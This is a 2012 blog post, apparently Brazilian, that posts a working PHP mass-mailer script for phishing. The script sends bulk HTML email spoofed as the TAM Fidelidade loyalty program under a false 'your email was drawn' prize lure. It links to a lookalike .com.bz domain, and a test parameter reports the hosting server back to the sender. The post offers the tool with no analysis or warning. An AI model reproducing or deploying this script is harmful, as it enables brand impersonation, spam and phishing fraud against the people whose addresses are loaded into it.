Tuesday, January 10, 2012

Mail gate

<?php

echo '<FIELDSET>';
echo '<LEGEND> Sistema de Envio </LEGEND><P>';
echo '<form name="FORM1" method="POST" action="" />';
echo '<textarea name="lista" cols="35" rows="11" WRAP="OFF"></textarea>';
echo "<br>";
echo '<input name="enviar" type="submit" value="enviar" />';
echo '</FIELDSET>';

if (isset($_REQUEST["teste"])){
   if (mail($_REQUEST["teste"], $_SERVER['HTTP_HOST'], $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'])){
       echo "-BEGINLN- Verifica&#231;&#227;o, Enviado com sucesso: " . $_REQUEST["teste"] . " -ENDLN- <br>\n";
       } else {
         echo "-BEGINLN- Verifica&#231;&#227;o, Erro ao tentar enviar: " . $_REQUEST["teste"] . " -ENDLN- <br>\n";
        }
exit;
}

function random_num(){
 for($x = 0; $x < 4; $x++){
     $n = $n . rand(1,9);
    }
 return mt_rand(1,2) . $n;
}


$mail_body = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <td><div align="center"><span style="color: #000000"><font size="2" face="Arial">caso n&atilde;o consiga visualizar este email, </font></span><font size="2"><span style="color: #000000"><font face="Arial"><a href="http://www2.programafidelidade.com.bz/index.html?9tcHJhZmFjaWwuY29tLmJyL2lwaXJhbmdhc2hvcC8xNjEyMTEvZW1haWwuaHRtbA=="><font color="#000099">acesse aqui.</font></a></font></span></font><span style="color: #000000"></span><br />

<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">

<table width="651px" height="541px" border="0" align="center" cellpadding="0" cellspacing="0">   
  <tr>
    <td><a href="http://www2.programafidelidade.com.bz/index.html?OTc5MDU3&U=aHdy5pcGlyYWGSyUyRlNWOFZnJTNEJTNEJm1hcD1mUWh5bndKbmVUTjNaN3pKMUFwJTJCJTJGRTIxcXExNUJLcjdvZWx6ak9FZldSRTN4M3VSdDNUSDRtZk9HSW02anI3NCZ1dG1fc291cmNlPWVtYWlsJnV0bV9tZWRpdW09ZW1hX2NhdF9ob21lXzA4XzEy" target="_blank"><img style="display:block" border="0" src="http://www.programafidelidade.com.bz/webmail/novo.bmp" width="560" height="551" alt="Header" /></a></td>
  </tr>
</table></html>
';


if (isset($_POST["enviar"])){
   
   $list_mail  = explode("\r\n", rtrim($_POST["lista"]));
   sort($list_mail);
  
   $send_name  = "TAM FIDELIDADE"; 
   $subject    = "Seu e-mail foi sorteado.";
   $send_mail  = "tam@programafidelidade.com.br";


    function datahora($a = false) {
      $data = mktime(date("H")-3, date("i"), date("s"), date("m"), date("d"), date("Y"));
      if ($a){
      $data = gmdate("d/m/Y H:i:s", $data);
      } else {
        $data = gmdate('D, d M Y H:i:s', $data);
       }
      return $data;
     }

    $list_pos    = 0;
    $send_erros  = 0;
    $list_length = (count($list_mail) -1);
   
    foreach ($list_mail as $email) {
    $list_pos++;
    $email = strtolower(rtrim($email));

   
    $header  = "Mime-Version: 1.0\n";
    $header .= "Content-Type: text/html\n";
    $header .= "From: $send_name <$send_mail>\n";
    $header .= "X-PHP-Script: www.tam.com.br\n";
   
   
     if (!empty($email)){
         if (mail($email, $subject, $mail_body, $header) == true){
            echo "-BEGINLN-" . datahora(true) . " Enviado com sucesso: " . $email . " [$list_pos de $list_length] -ENDLN- <br>\n";
            } else {
              echo "-BEGINLN-" . datahora(true) . " Erro ao tentar enviar: " . $email . " [$list_pos de $list_length] -ENDLN- <br>\n";
              $send_erros++;
              if ($send_erros == 100){
                 exit("-BEGINLN- Limite de erros atigindo, envio abortado. -ENDLN-<br>\n");
                 }
              }
    flush();
        }
    }
exit;   
}
?>

No comments:

Post a Comment